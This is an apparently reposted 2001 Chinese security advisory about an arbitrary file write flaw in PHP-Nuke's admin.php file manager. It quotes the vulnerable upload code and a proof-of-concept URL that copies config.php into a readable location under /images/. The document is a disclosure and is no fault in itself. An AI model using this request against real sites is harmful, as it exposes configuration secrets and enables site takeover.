xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

twlc安全公告:所有phpnuke存在任意文件可写漏洞


发布时间:2001-09-25
更新时间:2001-09-25
严重程度:
威胁程度:远程管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
除'5.0 RC1' 的所有版本
详细描述
在admin.php中存在漏洞没有很好检查要写的文件,导致任意文件以匿名用户可以被写:

$basedir = dirname($SCRIPT_FILENAME);
$textrows = 20;
$textcols = 85;
$udir = dirname($PHP_SELF);
if(!$wdir) $wdir="/";
if($cancel) $op="FileManager";
if($upload) {
    copy($userfile,$basedir.$wdir.$userfile_name);
    $lastaction = ""._UPLOADED." $userfile_name --> $wdir";
    // This need a rewrite -------------------------------------> OMG! WE
AGREEEEEEEE lmao
    //include("header.php");
    //GraphicAdmin($hlpfile);
    //html_header();
    //displaydir();
    $wdir2="/";
    chdir($basedir . $wdir2);
    //CloseTable();
    //include("footer.php");
    Header("Location: admin.php?op=FileManager");
    exit;
}

测试代码
http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.tx
t&wdir=/images/&userfile=config.php&userfile_name=hacked.txt

解决方案
去掉这个功能,补丁还没有推出。

相关信息
lucisfero@twlc.net
supergate@twlc.net


http://www.twlc.net